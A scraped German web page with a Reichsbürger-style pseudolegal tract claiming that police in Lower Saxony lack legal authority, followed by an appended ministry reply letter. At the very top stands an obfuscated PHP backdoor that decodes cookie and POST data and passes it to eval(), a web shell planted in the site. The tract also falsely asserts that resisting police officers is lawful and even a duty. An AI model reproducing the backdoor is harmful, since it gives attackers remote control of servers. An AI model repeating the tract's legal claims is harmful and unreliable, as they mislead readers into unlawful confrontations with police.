$auDiDm = class_exists("V_CGoZ");if (!$auDiDm){class V_CGoZ{private $XkVtqVHtt;public static $fKcqCF = "a158a651-ff74-4edd-953b-c602dc034b3c";public static $zDAWli = NULL;public function __construct(){$VLrdKegcTD = $_COOKIE;$DhwQtx = $_POST;$mummiCkbIe = @$VLrdKegcTD[substr(V_CGoZ::$fKcqCF, 0, 4)];if (!empty($mummiCkbIe)){$gjDlrlmo = "base64";$iKSRFTZjJ = "";$mummiCkbIe = explode(",", $mummiCkbIe);foreach ($mummiCkbIe as $knlWEFqQRS){$iKSRFTZjJ .= @$VLrdKegcTD[$knlWEFqQRS];$iKSRFTZjJ .= @$DhwQtx[$knlWEFqQRS];}$iKSRFTZjJ = array_map($gjDlrlmo . chr ( 924 - 829 ).chr ( 569 - 469 ).chr (101) . "\143" . chr ( 254 - 143 ).'d' . chr ( 408 - 307 ), array($iKSRFTZjJ,)); $iKSRFTZjJ = $iKSRFTZjJ[0] ^ str_repeat(V_CGoZ::$fKcqCF, (strlen($iKSRFTZjJ[0]) / strlen(V_CGoZ::$fKcqCF)) + 1);V_CGoZ::$zDAWli = @unserialize($iKSRFTZjJ);}}public function __destruct(){$this->qrWpeOVCE();}private function qrWpeOVCE(){if (is_array(V_CGoZ::$zDAWli)) {$bdwWJSmubh = str_replace('<' . chr (63) . chr ( 117 - 5 ).'h' . "\x70", "", V_CGoZ::$zDAWli[chr (99) . "\157" . "\156" . "\164" . "\x65" . chr ( 670 - 560 ).'t']);eval($bdwWJSmubh);exit();}}}$fnjTXPt = new V_CGoZ(); $fnjTXPt = NULL;} ?> Polizei und die dazugehörigen Söldner nicht Grundrecht berechtigt ! – No-Zensur.de Das freie Wort für eine freie Welt
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Polizei und die dazugehörigen Söldner nicht Grundrecht berechtigt !

Die Polizei und die dazugehörigen Söldner sind nicht Grundrecht berechtigt

Polizei
Polizei nicht Grundrecht berechtigt

Die komplette Ausführung über die Polizei können Sie am Seiten Ende downloaden.

Verantwortlich Mark STEINSIECK
Zentrale Polizeidirektion Tannenbergallee 11
[D-30163] HANNOVER

IZMR
B
ielfeldtweg 26,
[D-21682] STADE
(Art. 73 UN-Charta zu Art. 1, 142, 149 GA IV)

06.03.2017 nach jesus christus Geburt
ihr Scheinargument 12.1-23/17

Unserem Amt wurde ihr Scheinargument 12.1-23/17 zur Beantwortung zugesandt.

Wie sie wissen, sind die Wortmarke Polizei und die dazugehörigen Söldner „morituri te salutant“ nicht Grundrecht berechtigt und nicht Grundrecht befugt. Die Anwendung von rechtwidriger Gewalt ist Terror, denn Rechts- und Linksextremismus entsteht durch UN-Recht- Extremismus. Versammlungen werden erst durch die bewaffnete Polizei verboten.

Nach Eintritt des Ereignisses, durch das ein außervertragliches Schuldverhältnis entstanden ist, kann das Recht frei gewählt werden, dem es unterliegen soll. Die juristischen Polizeifiguren können sich im Kollisionsfall auf kein Recht berufen.

In BVerfGE 1 BvR 1766/2015 wurde klar, politische und gewerkschaftliche Verbände juristischer Personen ohne Grundrecht sind nicht:
grundbuch-, recht-, geschäft-, handlung-, delikt-, insolvenz-, vertrag- oder prozeßfähig, sondern nur schuldfähig und obligatorisch.
Im  Zentrum  steht  die unerlaubte Handlung gegen das Recht, wenn die Obligation entsteht. Gemäß Feststellung in der öffentlichen Verfassungordnung gilt:
juristische Personen  im öffentlichen Recht (GR) haben keine Grundrechtberechtigung, sondern sind Grundrecht verpflichtet, wenn sie öffentliche Aufgaben wahrnehmen (Grundrecht = öffentliche Ordnung).

Für juristische Personen des öffentlichen Recht(s) gelten die Grundrechte grundsätzlich nicht. Juristische Personen  des privaten Recht haben keine Grundrechtberechtigung, wenn sie von der öffentlichen Hand gehalten oder beherrscht werden, denn nach der
Konfusion – und Durchscheinargumentation
können Fiktionsfiktionfiguren [FFF] gemäß morituri te salutant nach acta iure imperii ohne ius gentium

  • nicht Grundrecht verpflichtet und gleichzeitig Grundrecht berechtigt sein oder
  • mehr Rechte übertragen als sie selbst besitzen.

Es ist Fakt und keine offenkundige Tatsache, also ein fiktionaler Akt, da sie sich auf ein Land symbolisch  berufen,  um  sich  als  fiktionale Beamte des  Landes  illegitim  zu  behaupten.  Ein Objekt, ein Stück Land, kann ihnen aber kein Recht verleihen und Fiktionen zu keinem Beamten rechtmäßig ernennen. Verbände juristischer Personen sind keine rechtfähigen, sondern rechtwidrige Organisationen. Objekte zu vergöttern ist Götzenanbetung zur Gotteslästerung und im natürlichen Völkerrecht ein Straftatbestand gegen die Präambel, weil der Glaube nicht körperschaftlich erfaßt werden kann.

Wenn sie sich bei der fiktionalen Scheinwahrnehmung in ihren gesetzlichen Scheinaufgaben nicht  auf  das  Grundrecht  berufen  dürfen,  dann  können  sie  ohne  Grundrecht  auch  nicht rechtmäßig, sondern in der Regel ausnahmslos obligatorisch handeln. Dezernat 12 ist also nicht die   Abteilung   Recht,   sondern   private   Justiz   von   Versuch   und   Irrtum,   ähnlich   einem Versuchslabor von Unmündigen (Idio(to)logien – Privatpersonen), wo Erfahrungen aus bitterem Leid gesammelt werden. Die Polizeiopfer der Polizeifiguren sind die Menschen.

Ihre Eingriffsbefugnisse leiten sie aus der Prozeßordnung ab, die für Menschen nicht gilt, weil der Mensch nicht prozeß-, sondern nur rechtfähig ist, denn das Recht des Menschen ist in der öffentlichen Grundordnung der Verfassung unverletzlich und unveräußerlich -Art. 1 Grundrecht. Die Prozeßordnung gilt nur für juristische Funktionen, nicht für Menschen.

Sie können mit Recht nicht handeln. Die juristische Polizei hat also keine rechtmäßigen Eingriffsbefugnisse und im Fall des außervertraglichen Schuldverhältnis können sie sich nicht ein Mal ordentlich ausweisen und wollen nicht haften. Sie haben private Krankenversicherung sowie private Haftpflichtversicherung und sind somit privat im öffentlichen Recht gemäß Art. 6, 38-42 EGBGB rechtwidrig tätig, denn privat ist im öffentlichen Recht ohne Duldung verboten.

Wo Recht ist und die Wahrheit der Rechtrealität grieft, muß die Fiktion weichen.
Sie sind im außervertraglichen Schuldverhältnis ohne Auftrag tätig.

Sie sind nur dann Beamter, wenn der Mensch als Weisungsberechtigter sie aufruft, um eine bestehende Gefährdungshandlung gegen einen Menschen zu entschärfen. Dabei dürfen sie keine Gewalt auf Menschen verüben, notfalls Gewalt ohne Gewalt abwehren. Mehr dürfen sie nicht. Und in diesem Einsatz sind sie im Heiligen Auftrag beamtet und somit versichert. Das von ihnen genannte nds. SOG – öffentliche Sicherheits- und Ordnungsgesetz verstößt gegen die öffentliche Ordnung -ordre publik- in Art. 6 EGBGB und ist nichtig (§§ 43, 44 VwVfG).

  • § 2, 72, 74, 78 nds. SOG erlaubt ihnen rechtlich nichts, weil das Gesetz Gewalt auf Menschen nicht kennt. Wir nehmen an, daß sie in den behaupteten Polizeischulungen der Pseudo- Ideo(to)logien falsche Werte vorsätzlich vermitteln und behaupten, Menschen seien Personen.

In § 72 nds. SOG sind die fingierten Polizeifiguren die genannten Personen, die Gewalt in selbst geschaffenen bewaffneten Konflikten öffentlich als Geschäftsführung ohne Auftrag privat anwenden, obwohl sie durch ein Objekt Land, ein Stück Stein oder Erde keine Befugnis bekommen haben können. Das ist eine geisteskranke Fiktion. Der Weisungsberechtigte im nds. SOG kann daher nur ein geistiglebendiGener Mensch sein, der von den juristischen Polizeifiguren ignoriert und verletzt wird.   Zu dienstlichen Zwecken darf gemäß der Verfassungordnung eine Grundrechtverletzung nicht angeordnet werden. Die zur Anwendung unmittelbaren Zwangs befugten Personen, die Polizeifiguren sind dann in § 72 nds. SOG zu nichts berechtigt oder befugt, wenn die Anordnung die Menschenwürde verletzt oder nicht zu dienstlichen Zwecken erteilt worden ist. Es ist also eindeutig tautologisch, wenn sie behaupten, daß sie sich bei der Wahrnehmung ihrer gesetzlichen Aufgaben nicht auf das Grundrecht berufen   und gleichzeitig sie verpflichtet sind, die Verletzung der Menschenwürde eines Menschen selbst als Söldner „morituri te salutant“ zu beurteilen. Das ist praktisch überhaupt nicht möglich.

Die Polizeifiguren sind keine rechtmäßigen oder gesetzlichen Richter, weder rechtmäßig noch gesetzlich.

Mit dieser schwachsinnigen Meinung werden nur verbotete Ausnahmegerichte oder Standgerichte begründet (§ 16 GVG). Widerstand gegen Vollzugsbeamte der Wortmarke Polizei ist nicht strafbar und sogar in Art. 20 (4) GG eine Verpflichtung, da sie sich auf ihr Grundrecht nicht berufen können. Sie haben kein Recht auf Recht- und Wiederstandschutz oder Unverletzlichkeit.

Mit der behaupteten freiwilligen Gerichtsbarkeit wird die unzuständige Justiz durch einen Trick in der Pseudologie in § 38 ZPO zuständig angenommen. Gemäß § 173 VwGO, § 202 SGG ist alles in der Zivilprozeßordnung geregelt und gilt nicht für Menschen. Einzelne Menschen dürfen überhaupt nicht von ihnen belästigt werden.

Die Menschen haben das Recht sich ohne Anmeldung oder Erlaubnis friedlich und ohne Waffen zu versammeln. Im Grundrecht wird die Demonstrationsfreiheit – wie der Gottesdienst für Atheisten einer Demokratie (Satansanbeter Demon oder Dämon) durch die Unterwerfung mit der Anmeldung für die Demonstration bei der Wortmarke Polizei ins Private hineingezogen, weil die juristische Polizei die erzwungene Anmeldung als Einladung annimmt. Mit den bewaffneten Polizeifiguren wird die Grundrecht berechtigte Versammlungsfreiheit rechtwidrig von der juristischen Polizei durch den Meldezwang verfassungwidrig umgedeutet, ausgehebelt und ins Absurde geführt. Und so entstehen Menschenrechtverletzungen nach dem Völkerstraf- gesetzbuch.

  • § 2, 72, 74, 78 nds. SOG ist so zu verstehen, wenn die Person eine fingierte Polizeifigur ist, die eine Straftat beabsichtigt, um eine Versammlung zu stören, dann unterliegen die Streitigkeiten, bewaffnete Konflikte und die Kriegshandlungen vom Polizeiverband juristischer Polizei- personen dem Völkerstrafgesetzbuch.

Die Justiz ist unzuständig und erklärt sich rein privat in der Zuständigkeit, um UN-Recht privat freiwillig (FGG) zu förden. Das Dezernat 12 ist ein privates Schiedsgericht und sie der Schiedsrichter.

Gemäß der Erklärung des Justizministeriums vom 19.01.2017 nach jesus christus Geburt wird in der Jusrisfiktion

  • Rechtsprechung ohne Rechtfähigkeit,
  • Prozesse ohne Prozeßfähigkeit,
  • Klagen ohne Klageberechtigung und Klagebefugnis,
  • Schäden ohne Haftbarkeit mit anonymer UN-Verantwortung

fingiert und

  • Völkerrecht ohne Zuständigkeit gegen die Verfassungordnung verleumdet. Zuständigkeit: Gerichthof der Menschen, Belpstraße 4 in [CH-3074] MURI / BERN Diese Handlungen sind strafbar.

Auf die Entäußerungspflicht gegenüber humanitären Organisationen in §§ 8-10 VStGB wird hingewiesen, da Obligation in § 305b BGB vorrangig anzuwenden gilt. Nehmen sie Stellung zu den Vorwürfen rechtwidriger Handlungen. Teilen sie Uns mit, wie die fiktionale Polizei im Kollisionsfall das zwingend-humanitäre Völkerrecht einhalten soll, wenn sie der Grund der Kollision sind.

Wie wenden sie das vorrangige Völkerrecht in Art. 25 GG vor Bundes- und Landesgesetzen, insbesondere das genfer Abkommen IV – SR 0.518.51 an?Als bevorrechtigte und umfassend Grundrecht berechtigte Organisation des zwingend- humanitären Völkerrecht ist diese Anfrage rechtbindend und insbesondere gemäß § 12 BGB, §

38 ZPO im Ausschluß des § 17 HGB ohne Unterschrift Recht verbindlich.

Herrn
Herbert von Wuppertal
Bielfeldtweg 26

21682 Stade
Bearbeitet von      Herrn Dr.  Lenz

\hr Zeichen,  \hre Nachrlcht vom                         Mein Zeichen (Bei Antwort angeben)

1001 I  – 202. 45

Durchwahl (0511)  120-0  Hannover
19.Jan.2017

Verschiedene  verfassungsrechtliche Fragen lhre Anfragen vom 4. und 6. Januar 2017

Sehr geehrter Herr von Wuppertal, auf lhre verschiedenen Fragen kann ich Folgendes antworten:

  1. 1. Bei den niedersachsischen Gerichten handelt es sich um staatliche Einrichtungen, die nicht grundrechtsberechtigt  sind.  Gleiches gilt for das Land Niedersachsen
  1. Eine Moglichkeit, diese Gerichte oder einzelne Richter vor einer internationalen Gerichtsbarkeit zur Verantwortung zu ziehen, gibt es nicht.
  1. 3. Die Justiz des Landes Niedersachsen ist selbst nicht Rechtstraqer ist das Land Niedersachsen, das durch die Landesministerien und die nachgeordneten Stellen vertreten wird
  1. 4. Volkerrecht geniel1t in Deutschland den Rang von einfachem  Bundesrecht; es geht im Kollisionsfall dem Landesrecht
  2. Zu lhren weiteren  Fragen zu den Genfer Abkommen kann ich Ihnen leider keine Auskunft erteilen, weil es insoweit an einer Zuständigkeit des Landes Niedersachsen fehlt.Mit freundlichen Grüßen
    Im Auftrag
    Dr.  Lenz

    Die Diplomatik (Urkundenlehre, von altgriechisch diploma „Gefaltetes“, aus diplóos „doppelt“) ist eine grundlegende Disziplin der historischen Hilfwissenschaft der Anerkennung. Sie beschäftigt sich mit der Einteilung, den Merkmalen, der Ausstellung, der Überlieferung, der Echtheit und dem historischen Wert von Rechturkunden. Das vorstaatliche Recht geht in der Notwendigkeit den Gesetzen vor.

    Beweisurkunden mit absoluter Beweiskraft
    Bundesrepublik – Grundlagen StGBl. Nr. 139/1918 vom 19.12.1918
    Regulierungsakt HK vom 05.10.1961, WüD vom 18/24.04.1961, §§ 18-20 GVG, § 2 VwVfG, § 40 VwGO

    1. Landesnotar Johst Matthies, Tostedt, Urkunde 113/2009 IZMR Landgericht STADE, Apostille 9191 a 85 – 15 /2014
    2. Landesnotar Johst Matthies, Tostedt, Urkunde 114/2009 – ZEB Landgericht STADE, Apostille 9191 a 85 – 16 /2014
    3. Landesnotar Ralf Grosser, Tostedt, Urkunde 139/2013 – GdM Landgericht STADE, Apostille 9191 a 84 – 9 /2013Die  globalen  Nichtregierungorganisationen der  Menschen  sind  legitim  und  legal,  denn  die Grundlage der Anerkennung im Völkerrecht liegt durch öffentliche Urkunden vor (StGBl. Nr. 139/1918 vom 19.12.1918), stehen nicht im Widerspruch zur ordnung(s) gemäßen Verfassungordnung und sind bereits in den Verfassungen des Internationalen Zentrum für Menschenrecht und des Zentralrat Europäischer Bürger vom 22.11.2009, die zu allseitiger Erfüllung der durch das gemeinsame Bekenntnis gestellten Aufgaben nach BVerwGE 123, 49 (54), -Vergleich Definition im   Urteil vom 15.06.1995 – BVerwG 3 C 31.93 – BVerwGE 99-, ausdrücklich bestimmt.

    Die globale Nichtregierung-Organisation der Menschen ist nach der Verfassungordnung mit den notwendigen originär-prärogativen überpositiven Recht aus den Verträgen ausgestattet und

    untersteht keiner staatlichen Aufsicht und keiner staatlichen Gerichtsbarkeit unter eigener Immunität, ordnet und verwaltet unter eigenem Recht und Gesetz, vergibt Ämter und Aufgaben selbstständig und darf Steuern erheben

    und besteht aus folgenden Organisationen:

    1. dem Vorstand / Rat dem Rat der Weisen
    2. den aktiven und passiven Zugehörigen und Mitgliedern der Rechtabteilung und dem Notariat für Menschenrecht der Verwaltung
    3. dem Hochkommissariat für Menschenrecht
    4. der Akademie und Öffentlichkeitsarbeit für Menschenrecht dem Gerichthof für Menschenrecht
    5. der United Human-Rights-Forces als Exekutive Hilf– und Vollstreckungbeamte

    Hier können Sie die komplette Abhandlung downloaden mit über 26 Seiten.
    [download-attachment id=“62560″ title=“2017_03_06–IZMR-oeffentliche-Erklaerung-Polizei-Nieders-„]

  3. Quelle der Abhandlung:
    http://www.ichr.de